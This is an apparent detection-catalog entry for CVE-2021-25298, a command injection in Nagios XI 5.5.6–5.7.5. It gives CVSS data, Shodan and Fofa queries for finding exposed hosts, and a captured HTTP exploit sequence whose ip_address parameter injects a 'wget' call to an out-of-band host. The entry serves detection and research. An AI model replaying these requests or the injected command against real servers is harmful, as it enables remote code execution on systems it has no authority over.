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CVE-2021-25298: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

TitleNagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
Authork0pak4
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system.
RemediationUpgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.8035
CVE IDCVE-2021-25298
CWE IDCWE-78
Shodan Querytitle:"Nagios XI"http.title:"nagios xi"
Fofa Querytitle="nagios xi"app="nagios-xi"
Tags cve2021 cve packetstorm oast authenticated msf nagiosxi rce kev nagios vkev vuln

🔍 Vulnerability Description

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

nsp=wkBVXG&pageopt=login&username=2ZcMmM&password=XQiv72
GET /nagiosxi/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept-Encoding: gzip
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=iCNRot&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20d5jniqple0o3ca30dip0nyg1nky1ha1ws.oast.me%3b HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25298.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25298.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A